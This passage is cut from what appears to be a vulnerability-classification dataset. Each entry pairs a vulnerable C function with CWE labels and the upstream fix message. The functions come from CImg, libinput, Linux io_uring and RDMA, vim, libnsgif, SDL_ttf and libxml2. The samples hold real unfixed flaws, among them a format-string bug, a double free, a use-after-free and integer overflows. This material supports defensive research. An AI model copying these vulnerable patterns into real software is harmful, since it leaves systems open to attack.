{ \\\n if (sizeof(stype1)==ltype) { __cimg_load_pandore_case(nbdim,nwidth,nheight,ndepth,dim,stype1); } \\\n else if (sizeof(stype2)==ltype) { __cimg_load_pandore_case(nbdim,nwidth,nheight,ndepth,dim,stype2); } \\\n else if (sizeof(stype3)==ltype) { __cimg_load_pandore_case(nbdim,nwidth,nheight,ndepth,dim,stype3); } \\\n else throw CImgIOException(_cimg_instance \\\n \"load_pandore(): Unknown pixel datatype in file '%s'.\", \\\n cimg_instance, \\\n filename?filename:\"(FILE*)\"); }\n if (!file && !filename)\n throw CImgArgumentException(_cimg_instance\n \"load_pandore(): Specified filename is (null).\",\n cimg_instance);\n\n std::FILE *const nfile = file?file:cimg::fopen(filename,\"rb\");\n CImg header(32);\n cimg::fread(header._data,12,nfile);\n if (cimg::strncasecmp(\"PANDORE\",header,7)) {\n if (!file) cimg::fclose(nfile);\n throw CImgIOException(_cimg_instance\n \"load_pandore(): PANDORE header not found in file '%s'.\",\n cimg_instance,\n filename?filename:\"(FILE*)\");\n }\n unsigned int imageid, dims[8] = { 0 };\n int ptbuf[4] = { 0 };\n cimg::fread(&imageid,1,nfile);\n const bool endian = imageid>255;\n if (endian) cimg::invert_endianness(imageid);\n cimg::fread(header._data,20,nfile);\n\n switch (imageid) {\n case 2 : _cimg_load_pandore_case(2,dims[1],1,1,1,unsigned char,unsigned char,unsigned char,1); break;\n case 3 : _cimg_load_pandore_case(2,dims[1],1,1,1,long,int,short,4); break;\n case 4 : _cimg_load_pandore_case(2,dims[1],1,1,1,double,float,float,4); break;\n case 5 : _cimg_load_pandore_case(3,dims[2],dims[1],1,1,unsigned char,unsigned char,unsigned char,1); break;\n case 6 : _cimg_load_pandore_case(3,dims[2],dims[1],1,1,long,int,short,4); break;\n case 7 : _cimg_load_pandore_case(3,dims[2],dims[1],1,1,double,float,float,4); break;\n case 8 : _cimg_load_pandore_case(4,dims[3],dims[2],dims[1],1,unsigned char,unsigned char,unsigned char,1); break;\n case 9 : _cimg_load_pandore_case(4,dims[3],dims[2],dims[1],1,long,int,short,4); break;\n case 10 : _cimg_load_pandore_case(4,dims[3],dims[2],dims[1],1,double,float,float,4); break;\n case 11 : { // Region 1D\n cimg::fread(dims,3,nfile);\n if (endian) cimg::invert_endianness(dims,3);\n assign(dims[1],1,1,1);\n const unsigned siz = size();\n if (dims[2]<256) {\n unsigned char *buffer = new unsigned char[siz];\n cimg::fread(buffer,siz,nfile);\n T *ptrd = _data;\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++);\n buffer-=siz;\n delete[] buffer;\n } else {\n if (dims[2]<65536) {\n unsigned short *buffer = new unsigned short[siz];\n cimg::fread(buffer,siz,nfile);\n if (endian) cimg::invert_endianness(buffer,siz);\n T *ptrd = _data;\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++);\n buffer-=siz;\n delete[] buffer;\n } else {\n unsigned int *buffer = new unsigned int[siz];\n cimg::fread(buffer,siz,nfile);\n if (endian) cimg::invert_endianness(buffer,siz);\n T *ptrd = _data;\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++);\n buffer-=siz;\n delete[] buffer;\n }\n }\n }\n break;\n case 12 : { // Region 2D\n cimg::fread(dims,4,nfile);\n if (endian) cimg::invert_endianness(dims,4);\n assign(dims[2],dims[1],1,1);\n const size_t siz = size();\n if (dims[3]<256) {\n unsigned char *buffer = new unsigned char[siz];\n cimg::fread(buffer,siz,nfile);\n T *ptrd = _data;\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++);\n buffer-=siz;\n delete[] buffer;\n } else {\n if (dims[3]<65536) {\n unsigned short *buffer = new unsigned short[siz];\n cimg::fread(buffer,siz,nfile);\n if (endian) cimg::invert_endianness(buffer,siz);\n T *ptrd = _data;\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++);\n buffer-=siz;\n delete[] buffer;\n } else {\n unsigned int *buffer = new unsigned int[siz];\n cimg::fread(buffer,siz,nfile);\n if (endian) cimg::invert_endianness(buffer,siz);\n T *ptrd = _data;\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++);\n buffer-=siz;\n delete[] buffer;\n }\n }\n }\n break;\n case 13 : { // Region 3D\n cimg::fread(dims,5,nfile);\n if (endian) cimg::invert_endianness(dims,5);\n assign(dims[3],dims[2],dims[1],1);\n const size_t siz = size();\n if (dims[4]<256) {\n unsigned char *buffer = new unsigned char[siz];\n cimg::fread(buffer,siz,nfile);\n T *ptrd = _data;\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++);\n buffer-=siz;\n delete[] buffer;\n } else {\n if (dims[4]<65536) {\n unsigned short *buffer = new unsigned short[siz];\n cimg::fread(buffer,siz,nfile);\n if (endian) cimg::invert_endianness(buffer,siz);\n T *ptrd = _data;\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++);\n buffer-=siz;\n delete[] buffer;\n } else {\n unsigned int *buffer = new unsigned int[siz];\n cimg::fread(buffer,siz,nfile);\n if (endian) cimg::invert_endianness(buffer,siz);\n T *ptrd = _data;\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++);\n buffer-=siz;\n delete[] buffer;\n }\n }\n }\n break;\n case 16 : _cimg_load_pandore_case(4,dims[2],dims[1],1,3,unsigned char,unsigned char,unsigned char,1); break;\n case 17 : _cimg_load_pandore_case(4,dims[2],dims[1],1,3,long,int,short,4); break;\n case 18 : _cimg_load_pandore_case(4,dims[2],dims[1],1,3,double,float,float,4); break;\n case 19 : _cimg_load_pandore_case(5,dims[3],dims[2],dims[1],3,unsigned char,unsigned char,unsigned char,1); break;\n case 20 : _cimg_load_pandore_case(5,dims[3],dims[2],dims[1],3,long,int,short,4); break;\n case 21 : _cimg_load_pandore_case(5,dims[3],dims[2],dims[1],3,double,float,float,4); break;\n case 22 : _cimg_load_pandore_case(2,dims[1],1,1,dims[0],unsigned char,unsigned char,unsigned char,1); break;\n case 23 : _cimg_load_pandore_case(2,dims[1],1,1,dims[0],long,int,short,4); break;\n case 24 : _cimg_load_pandore_case(2,dims[1],1,1,dims[0],unsigned long,unsigned int,unsigned short,4); break;\n case 25 : _cimg_load_pandore_case(2,dims[1],1,1,dims[0],double,float,float,4); break;\n case 26 : _cimg_load_pandore_case(3,dims[2],dims[1],1,dims[0],unsigned char,unsigned char,unsigned char,1); break;\n case 27 : _cimg_load_pandore_case(3,dims[2],dims[1],1,dims[0],long,int,short,4); break;\n case 28 : _cimg_load_pandore_case(3,dims[2],dims[1],1,dims[0],unsigned long,unsigned int,unsigned short,4); break;\n case 29 : _cimg_load_pandore_case(3,dims[2],dims[1],1,dims[0],double,float,float,4); break;\n case 30 : _cimg_load_pandore_case(4,dims[3],dims[2],dims[1],dims[0],unsigned char,unsigned char,unsigned char,1);\n break;\n case 31 : _cimg_load_pandore_case(4,dims[3],dims[2],dims[1],dims[0],long,int,short,4); break;\n case 32 : _cimg_load_pandore_case(4,dims[3],dims[2],dims[1],dims[0],unsigned long,unsigned int,unsigned short,4);\n break;\n case 33 : _cimg_load_pandore_case(4,dims[3],dims[2],dims[1],dims[0],double,float,float,4); break;\n case 34 : { // Points 1D\n cimg::fread(ptbuf,1,nfile);\n if (endian) cimg::invert_endianness(ptbuf,1);\n assign(1); (*this)(0) = (T)ptbuf[0];\n } break;\n case 35 : { // Points 2D\n cimg::fread(ptbuf,2,nfile);\n if (endian) cimg::invert_endianness(ptbuf,2);\n assign(2); (*this)(0) = (T)ptbuf[1]; (*this)(1) = (T)ptbuf[0];\n } break;\n case 36 : { // Points 3D\n cimg::fread(ptbuf,3,nfile);\n if (endian) cimg::invert_endianness(ptbuf,3);\n assign(3); (*this)(0) = (T)ptbuf[2]; (*this)(1) = (T)ptbuf[1]; (*this)(2) = (T)ptbuf[0];\n } break;\n default :\n if (!file) cimg::fclose(nfile);\n throw CImgIOException(_cimg_instance\n \"load_pandore(): Unable to load data with ID_type %u in file '%s'.\",\n cimg_instance,\n imageid,filename?filename:\"(FILE*)\");\n }\n if (!file) cimg::fclose(nfile);\n return *this;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-770'], 'message': 'CImg<>::load_bmp() and CImg<>::load_pandore(): Check that dimensions encoded in file does not exceed file size.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: evdev_log_msg(struct evdev_device *device,\n\t enum libinput_log_priority priority,\n\t const char *format,\n\t ...)\n{\n\tva_list args;\n\tchar buf[1024];\n\n\tif (!is_logged(evdev_libinput_context(device), priority))\n\t\treturn;\n\n\t/* Anything info and above is user-visible, use the device name */\n\tsnprintf(buf,\n\t\t sizeof(buf),\n\t\t \"%-7s - %s%s%s\",\n\t\t evdev_device_get_sysname(device),\n\t\t (priority > LIBINPUT_LOG_PRIORITY_DEBUG) ? device->devname : \"\",\n\t\t (priority > LIBINPUT_LOG_PRIORITY_DEBUG) ? \": \" : \"\",\n\t\t format);\n\n\tva_start(args, format);\n\tlog_msg_va(evdev_libinput_context(device), priority, buf, args);\n\tva_end(args);\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-134'], 'message': 'evdev: strip the device name of format directives\n\nThis fixes a format string vulnerabilty.\n\nevdev_log_message() composes a format string consisting of a fixed\nprefix (including the rendered device name) and the passed-in format\nbuffer. This format string is then passed with the arguments to the\nactual log handler, which usually and eventually ends up being printf.\n\nIf the device name contains a printf-style format directive, these ended\nup in the format string and thus get interpreted correctly, e.g. for a\ndevice \"Foo%sBar\" the log message vs printf invocation ends up being:\n evdev_log_message(device, \"some message %s\", \"some argument\");\n printf(\"event9 - Foo%sBar: some message %s\", \"some argument\");\n\nThis can enable an attacker to execute malicious code with the\nprivileges of the process using libinput.\n\nTo exploit this, an attacker needs to be able to create a kernel device\nwith a malicious name, e.g. through /dev/uinput or a Bluetooth device.\n\nTo fix this, convert any potential format directives in the device name\nby duplicating percentages.\n\nPre-rendering the device to avoid the issue altogether would be nicer\nbut the current log level hooks do not easily allow for this. The device\nname is the only user-controlled part of the format string.\n\nA second potential issue is the sysname of the device which is also\nsanitized.\n\nThis issue was found by Albin Eldst\u00e5l-Ahrens and Benjamin Svensson from\nAssured AB, and independently by Lukas Lamster.\n\nFixes #752\n\nSigned-off-by: Peter Hutterer \n(cherry picked from commit a423d7d3269dc32a87384f79e29bb5ac021c83d1)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void rtrs_clt_dev_release(struct device *dev)\n{\n\tstruct rtrs_clt_sess *clt = container_of(dev, struct rtrs_clt_sess,\n\t\t\t\t\t\t dev);\n\n\tkfree(clt);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'RDMA/rtrs-clt: Fix possible double free in error case\n\nCallback function rtrs_clt_dev_release() for put_device() calls kfree(clt)\nto free memory. We shouldn't call kfree(clt) again, and we can't use the\nclt after kfree too.\n\nReplace device_register() with device_initialize() and device_add() so that\ndev_set_name can() be used appropriately.\n\nMove mutex_destroy() to the release function so it can be called in\nthe alloc_clt err path.\n\nFixes: eab098246625 (\"RDMA/rtrs-clt: Refactor the failure cases in alloc_clt\")\nLink: https://lore.kernel.org/r/20220217030929.323849-1-haris.iqbal@ionos.com\nReported-by: Miaoqian Lin \nSigned-off-by: Md Haris Iqbal \nReviewed-by: Jack Wang \nSigned-off-by: Jason Gunthorpe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: eval_lambda(\n char_u\t**arg,\n typval_T\t*rettv,\n evalarg_T\t*evalarg,\n int\t\tverbose)\t// give error messages\n{\n int\t\tevaluate = evalarg != NULL\n\t\t\t\t && (evalarg->eval_flags & EVAL_EVALUATE);\n typval_T\tbase = *rettv;\n int\t\tret;\n\n rettv->v_type = VAR_UNKNOWN;\n\n if (**arg == '{')\n {\n\t// ->{lambda}()\n\tret = get_lambda_tv(arg, rettv, FALSE, evalarg);\n }\n else\n {\n\t// ->(lambda)()\n\t++*arg;\n\tret = eval1(arg, rettv, evalarg);\n\t*arg = skipwhite_and_linebreak(*arg, evalarg);\n\tif (**arg == ')')\n\t{\n\t ++*arg;\n\t}\n\telse\n\t{\n\t emsg(_(e_missing_closing_paren));\n\t ret = FAIL;\n\t}\n }\n if (ret != OK)\n\treturn FAIL;\n else if (**arg != '(')\n {\n\tif (verbose)\n\t{\n\t if (*skipwhite(*arg) == '(')\n\t\temsg(_(e_no_white_space_allowed_before_parenthesis));\n\t else\n\t\tsemsg(_(e_missing_parenthesis_str), \"lambda\");\n\t}\n\tclear_tv(rettv);\n\tret = FAIL;\n }\n else\n\tret = call_func_rettv(arg, evalarg, rettv, evaluate, NULL, &base);\n\n // Clear the funcref afterwards, so that deleting it while\n // evaluating the arguments is possible (see test55).\n if (evaluate)\n\tclear_tv(&base);\n\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-823'], 'message': 'patch 8.2.4774: crash when using a number for lambda name\n\nProblem: Crash when using a number for lambda name.\nSolution: Check the type of the lambda reference.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \t__must_hold(&ctx->completion_lock)\n{\n\tu32 seq = ctx->cached_cq_tail - atomic_read(&ctx->cq_timeouts);\n\n\tspin_lock_irq(&ctx->timeout_lock);\n\twhile (!list_empty(&ctx->timeout_list)) {\n\t\tu32 events_needed, events_got;\n\t\tstruct io_kiocb *req = list_first_entry(&ctx->timeout_list,\n\t\t\t\t\t\tstruct io_kiocb, timeout.list);\n\n\t\tif (io_is_timeout_noseq(req))\n\t\t\tbreak;\n\n\t\t/*\n\t\t * Since seq can easily wrap around over time, subtract\n\t\t * the last seq at which timeouts were flushed before comparing.\n\t\t * Assuming not more than 2^31-1 events have happened since,\n\t\t * these subtractions won't have wrapped, so we can check if\n\t\t * target is in [last_seq, current_seq] by comparing the two.\n\t\t */\n\t\tevents_needed = req->timeout.target_seq - ctx->cq_last_tm_flush;\n\t\tevents_got = seq - ctx->cq_last_tm_flush;\n\t\tif (events_got < events_needed)\n\t\t\tbreak;\n\n\t\tlist_del_init(&req->timeout.list);\n\t\tio_kill_timeout(req, 0);\n\t}\n\tctx->cq_last_tm_flush = seq;\n\tspin_unlock_irq(&ctx->timeout_lock);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'io_uring: fix race between timeout flush and removal\n\nio_flush_timeouts() assumes the timeout isn't in progress of triggering\nor being removed/canceled, so it unconditionally removes it from the\ntimeout list and attempts to cancel it.\n\nLeave it on the list and let the normal timeout cancelation take care\nof it.\n\nCc: stable@vger.kernel.org # 5.5+\nSigned-off-by: Jens Axboe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: gif_internal_decode_frame(gif_animation *gif,\n unsigned int frame,\n bool clear_image)\n{\n unsigned int index = 0;\n const unsigned char *gif_data, *gif_end;\n ssize_t gif_bytes;\n unsigned int width, height, offset_x, offset_y;\n unsigned int flags, colour_table_size, interlace;\n unsigned int *colour_table;\n unsigned int *frame_data = 0;\t// Set to 0 for no warnings\n unsigned int *frame_scanline;\n ssize_t save_buffer_position;\n unsigned int return_value = 0;\n unsigned int x, y, decode_y, burst_bytes;\n register unsigned char colour;\n\n /* Ensure this frame is supposed to be decoded */\n if (gif->frames[frame].display == false) {\n return GIF_OK;\n }\n\n /* Ensure the frame is in range to decode */\n if (frame > gif->frame_count_partial) {\n return GIF_INSUFFICIENT_DATA;\n }\n\n /* done if frame is already decoded */\n if ((!clear_image) &&\n ((int)frame == gif->decoded_frame)) {\n return GIF_OK;\n }\n\n /* Get the start of our frame data and the end of the GIF data */\n gif_data = gif->gif_data + gif->frames[frame].frame_pointer;\n gif_end = gif->gif_data + gif->buffer_size;\n gif_bytes = (gif_end - gif_data);\n\n /*\n * Ensure there is a minimal amount of data to proceed. The shortest\n * block of data is a 10-byte image descriptor + 1-byte gif trailer\n */\n if (gif_bytes < 12) {\n return GIF_INSUFFICIENT_FRAME_DATA;\n }\n\n /* Save the buffer position */\n save_buffer_position = gif->buffer_position;\n gif->buffer_position = gif_data - gif->gif_data;\n\n /* Skip any extensions because they have allready been processed */\n if ((return_value = gif_skip_frame_extensions(gif)) != GIF_OK) {\n goto gif_decode_frame_exit;\n }\n gif_data = (gif->gif_data + gif->buffer_position);\n gif_bytes = (gif_end - gif_data);\n\n /* Ensure we have enough data for the 10-byte image descriptor + 1-byte\n * gif trailer\n */\n if (gif_bytes < 12) {\n return_value = GIF_INSUFFICIENT_FRAME_DATA;\n goto gif_decode_frame_exit;\n }\n\n /* 10-byte Image Descriptor is:\n *\n *\t+0\tCHAR\tImage Separator (0x2c)\n *\t+1\tSHORT\tImage Left Position\n *\t+3\tSHORT\tImage Top Position\n *\t+5\tSHORT\tWidth\n *\t+7\tSHORT\tHeight\n *\t+9\tCHAR\t__Packed Fields__\n *\t\t\t1BIT\tLocal Colour Table Flag\n *\t\t\t1BIT\tInterlace Flag\n *\t\t\t1BIT\tSort Flag\n *\t\t\t2BITS\tReserved\n *\t\t\t3BITS\tSize of Local Colour Table\n */\n if (gif_data[0] != GIF_IMAGE_SEPARATOR) {\n return_value = GIF_DATA_ERROR;\n goto gif_decode_frame_exit;\n }\n offset_x = gif_data[1] | (gif_data[2] << 8);\n offset_y = gif_data[3] | (gif_data[4] << 8);\n width = gif_data[5] | (gif_data[6] << 8);\n height = gif_data[7] | (gif_data[8] << 8);\n\n /* Boundary checking - shouldn't ever happen except unless the data has\n * been modified since initialisation.\n */\n if ((offset_x + width > gif->width) ||\n (offset_y + height > gif->height)) {\n return_value = GIF_DATA_ERROR;\n goto gif_decode_frame_exit;\n }\n\n /* Decode the flags */\n flags = gif_data[9];\n colour_table_size = 2 << (flags & GIF_COLOUR_TABLE_SIZE_MASK);\n interlace = flags & GIF_INTERLACE_MASK;\n\n /* Advance data pointer to next block either colour table or image\n * data.\n */\n gif_data += 10;\n gif_bytes = (gif_end - gif_data);\n\n /* Set up the colour table */\n if (flags & GIF_COLOUR_TABLE_MASK) {\n if (gif_bytes < (int)(3 * colour_table_size)) {\n return_value = GIF_INSUFFICIENT_FRAME_DATA;\n goto gif_decode_frame_exit;\n }\n colour_table = gif->local_colour_table;\n if (!clear_image) {\n for (index = 0; index < colour_table_size; index++) {\n /* Gif colour map contents are r,g,b.\n *\n * We want to pack them bytewise into the\n * colour table, such that the red component\n * is in byte 0 and the alpha component is in\n * byte 3.\n */\n unsigned char *entry =\n (unsigned char *) &colour_table[index];\n\n entry[0] = gif_data[0];\t/* r */\n entry[1] = gif_data[1];\t/* g */\n entry[2] = gif_data[2];\t/* b */\n entry[3] = 0xff;\t/* a */\n\n gif_data += 3;\n }\n } else {\n gif_data += 3 * colour_table_size;\n }\n gif_bytes = (gif_end - gif_data);\n } else {\n colour_table = gif->global_colour_table;\n }\n\n /* Ensure sufficient data remains */\n if (gif_bytes < 1) {\n return_value = GIF_INSUFFICIENT_FRAME_DATA;\n goto gif_decode_frame_exit;\n }\n\n /* check for an end marker */\n if (gif_data[0] == GIF_TRAILER) {\n return_value = GIF_OK;\n goto gif_decode_frame_exit;\n }\n\n /* Get the frame data */\n assert(gif->bitmap_callbacks.bitmap_get_buffer);\n frame_data = (void *)gif->bitmap_callbacks.bitmap_get_buffer(gif->frame_image);\n if (!frame_data) {\n return GIF_INSUFFICIENT_MEMORY;\n }\n\n /* If we are clearing the image we just clear, if not decode */\n if (!clear_image) {\n lzw_result res;\n const uint8_t *stack_base;\n const uint8_t *stack_pos;\n\n /* Ensure we have enough data for a 1-byte LZW code size +\n * 1-byte gif trailer\n */\n if (gif_bytes < 2) {\n return_value = GIF_INSUFFICIENT_FRAME_DATA;\n goto gif_decode_frame_exit;\n }\n\n /* If we only have a 1-byte LZW code size + 1-byte gif trailer,\n * we're finished\n */\n if ((gif_bytes == 2) && (gif_data[1] == GIF_TRAILER)) {\n return_value = GIF_OK;\n goto gif_decode_frame_exit;\n }\n\n /* If the previous frame's disposal method requires we restore\n * the background colour or this is the first frame, clear\n * the frame data\n */\n if ((frame == 0) || (gif->decoded_frame == GIF_INVALID_FRAME)) {\n memset((char*)frame_data,\n GIF_TRANSPARENT_COLOUR,\n gif->width * gif->height * sizeof(int));\n gif->decoded_frame = frame;\n /* The line below would fill the image with its\n * background color, but because GIFs support\n * transparency we likely wouldn't want to do that. */\n /* memset((char*)frame_data, colour_table[gif->background_index], gif->width * gif->height * sizeof(int)); */\n } else if ((frame != 0) &&\n (gif->frames[frame - 1].disposal_method == GIF_FRAME_CLEAR)) {\n return_value = gif_internal_decode_frame(gif,\n (frame - 1),\n true);\n if (return_value != GIF_OK) {\n goto gif_decode_frame_exit;\n }\n\n } else if ((frame != 0) &&\n (gif->frames[frame - 1].disposal_method == GIF_FRAME_RESTORE)) {\n /*\n * If the previous frame's disposal method requires we\n * restore the previous image, find the last image set\n * to \"do not dispose\" and get that frame data\n */\n int last_undisposed_frame = frame - 2;\n while ((last_undisposed_frame >= 0) &&\n (gif->frames[last_undisposed_frame].disposal_method == GIF_FRAME_RESTORE)) {\n last_undisposed_frame--;\n }\n\n /* If we don't find one, clear the frame data */\n if (last_undisposed_frame == -1) {\n /* see notes above on transparency\n * vs. background color\n */\n memset((char*)frame_data,\n GIF_TRANSPARENT_COLOUR,\n gif->width * gif->height * sizeof(int));\n } else {\n return_value = gif_internal_decode_frame(gif, last_undisposed_frame, false);\n if (return_value != GIF_OK) {\n goto gif_decode_frame_exit;\n }\n /* Get this frame's data */\n assert(gif->bitmap_callbacks.bitmap_get_buffer);\n frame_data = (void *)gif->bitmap_callbacks.bitmap_get_buffer(gif->frame_image);\n if (!frame_data) {\n return GIF_INSUFFICIENT_MEMORY;\n }\n }\n }\n gif->decoded_frame = frame;\n gif->buffer_position = (gif_data - gif->gif_data) + 1;\n\n /* Initialise the LZW decoding */\n res = lzw_decode_init(gif->lzw_ctx, gif->gif_data,\n gif->buffer_size, gif->buffer_position,\n gif_data[0], &stack_base, &stack_pos);\n if (res != LZW_OK) {\n return gif_error_from_lzw(res);\n }\n\n /* Decompress the data */\n for (y = 0; y < height; y++) {\n if (interlace) {\n decode_y = gif_interlaced_line(height, y) + offset_y;\n } else {\n decode_y = y + offset_y;\n }\n frame_scanline = frame_data + offset_x + (decode_y * gif->width);\n\n /* Rather than decoding pixel by pixel, we try to burst\n * out streams of data to remove the need for end-of\n * data checks every pixel.\n */\n x = width;\n while (x > 0) {\n burst_bytes = (stack_pos - stack_base);\n if (burst_bytes > 0) {\n if (burst_bytes > x) {\n burst_bytes = x;\n }\n x -= burst_bytes;\n while (burst_bytes-- > 0) {\n colour = *--stack_pos;\n if (((gif->frames[frame].transparency) &&\n (colour != gif->frames[frame].transparency_index)) ||\n (!gif->frames[frame].transparency)) {\n *frame_scanline = colour_table[colour];\n }\n frame_scanline++;\n }\n } else {\n res = lzw_decode(gif->lzw_ctx, &stack_pos);\n if (res != LZW_OK) {\n /* Unexpected end of frame, try to recover */\n if (res == LZW_OK_EOD) {\n return_value = GIF_OK;\n } else {\n return_value = gif_error_from_lzw(res);\n }\n goto gif_decode_frame_exit;\n }\n }\n }\n }\n } else {\n /* Clear our frame */\n if (gif->frames[frame].disposal_method == GIF_FRAME_CLEAR) {\n for (y = 0; y < height; y++) {\n frame_scanline = frame_data + offset_x + ((offset_y + y) * gif->width);\n if (gif->frames[frame].transparency) {\n memset(frame_scanline,\n GIF_TRANSPARENT_COLOUR,\n width * 4);\n } else {\n memset(frame_scanline,\n colour_table[gif->background_index],\n width * 4);\n }\n }\n }\n }\ngif_decode_frame_exit:\n\n /* Check if we should test for optimisation */\n if (gif->frames[frame].virgin) {\n if (gif->bitmap_callbacks.bitmap_test_opaque) {\n gif->frames[frame].opaque = gif->bitmap_callbacks.bitmap_test_opaque(gif->frame_image);\n } else {\n gif->frames[frame].opaque = false;\n }\n gif->frames[frame].virgin = false;\n }\n\n if (gif->bitmap_callbacks.bitmap_set_opaque) {\n gif->bitmap_callbacks.bitmap_set_opaque(gif->frame_image, gif->frames[frame].opaque);\n }\n\n if (gif->bitmap_callbacks.bitmap_modified) {\n gif->bitmap_callbacks.bitmap_modified(gif->frame_image);\n }\n\n /* Restore the buffer position */\n gif->buffer_position = save_buffer_position;\n\n return return_value;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'libnsgif: Fix null pointer deref on frameless GIF input\n\nA crafted GIF file with no frame data could cause a null pointer\ndereference leading to denial of service (crash). Reported by\n@JieyongMa via huntr.dev.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \nstatic SDL_Surface *Create_Surface_Blended(int width, int height, SDL_Color fg, Uint32 *color)\n{\n const int alignment = Get_Alignement() - 1;\n SDL_Surface *textbuf = NULL;\n Uint32 bgcolor;\n\n /* Background color */\n bgcolor = (fg.r << 16) | (fg.g << 8) | fg.b;\n\n /* Underline/Strikethrough color style */\n *color = bgcolor | (fg.a << 24);\n\n /* Create the target surface if required */\n if (width != 0) {\n /* Create a surface with memory:\n * - pitch is rounded to alignment\n * - adress is aligned\n */\n Sint64 size;\n void *pixels, *ptr;\n /* Worse case at the end of line pulling 'alignment' extra blank pixels */\n Sint64 pitch = (width + alignment) * 4;\n pitch += alignment;\n pitch &= ~alignment;\n size = height * pitch + sizeof (void *) + alignment;\n if (size < 0 || size > SDL_MAX_SINT32) {\n /* Overflow... */\n return NULL;\n }\n\n ptr = SDL_malloc((size_t)size);\n if (ptr == NULL) {\n return NULL;\n }\n\n /* address is aligned */\n pixels = (void *)(((uintptr_t)ptr + sizeof(void *) + alignment) & ~alignment);\n ((void **)pixels)[-1] = ptr;\n\n textbuf = SDL_CreateRGBSurfaceWithFormatFrom(pixels, width, height, 0, pitch, SDL_PIXELFORMAT_ARGB8888);\n if (textbuf == NULL) {\n SDL_free(ptr);\n return NULL;\n }\n\n /* Let SDL handle the memory allocation */\n textbuf->flags &= ~SDL_PREALLOC;\n textbuf->flags |= SDL_SIMD_ALIGNED;\n\n /* Initialize with fg and 0 alpha */\n SDL_memset4(pixels, bgcolor, (height * pitch) / 4);\n\n /* Support alpha blending */\n if (fg.a != SDL_ALPHA_OPAQUE) {\n SDL_SetSurfaceBlendMode(textbuf, SDL_BLENDMODE_BLEND);\n }\n }\n\n return textbuf; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-787'], 'message': 'More integer overflow (see bug #187)\nMake sure that 'width + alignment' doesn't overflow, otherwise\nit could create a SDL_Surface of 'width' but with wrong 'pitch''" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xmlBufCCat(xmlBufPtr buf, const char *str) {\n const char *cur;\n\n if ((buf == NULL) || (buf->error))\n return(-1);\n CHECK_COMPAT(buf)\n if (buf->alloc == XML_BUFFER_ALLOC_IMMUTABLE) return -1;\n if (str == NULL) {\n#ifdef DEBUG_BUFFER\n xmlGenericError(xmlGenericErrorContext,\n\t\t\"xmlBufCCat: str == NULL\\n\");\n#endif\n\treturn -1;\n }\n for (cur = str;*cur != 0;cur++) {\n if (buf->use + 10 >= buf->size) {\n if (!xmlBufResize(buf, buf->use+10)){\n\t\txmlBufMemoryError(buf, \"growing buffer\");\n return XML_ERR_NO_MEMORY;\n }\n }\n buf->content[buf->use++] = *cur;\n }\n buf->content[buf->use] = 0;\n UPDATE_COMPAT(buf)\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': '[CVE-2022-29824] Fix integer overflows in xmlBuf and xmlBuffer\n\nIn several places, the code handling string buffers didn't check for\ninteger overflow or used wrong types for buffer sizes. This could\nresult in out-of-bounds writes or other memory errors when working on\nlarge, multi-gigabyte buffers.\n\nThanks to Felix Wilhelm for the report.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: fname_match(\n regmatch_T\t*rmp,\n char_u\t*name,\n int\t\tignore_case) // when TRUE ignore case, when FALSE use 'fic'\n{\n char_u\t*match = NULL;\n char_u\t*p;\n\n if (name != NULL)\n {\n\t// Ignore case when 'fileignorecase' or the argument is set.\n\trmp->rm_ic = p_fic || ignore_case;\n\tif (vim_regexec(rmp, name, (colnr_T)0))\n\t match = name;\n\telse\n\t{\n\t // Replace $(HOME) with '~' and try matching again.\n\t p = home_replace_save(NULL, name);\n\t if (p != NULL && 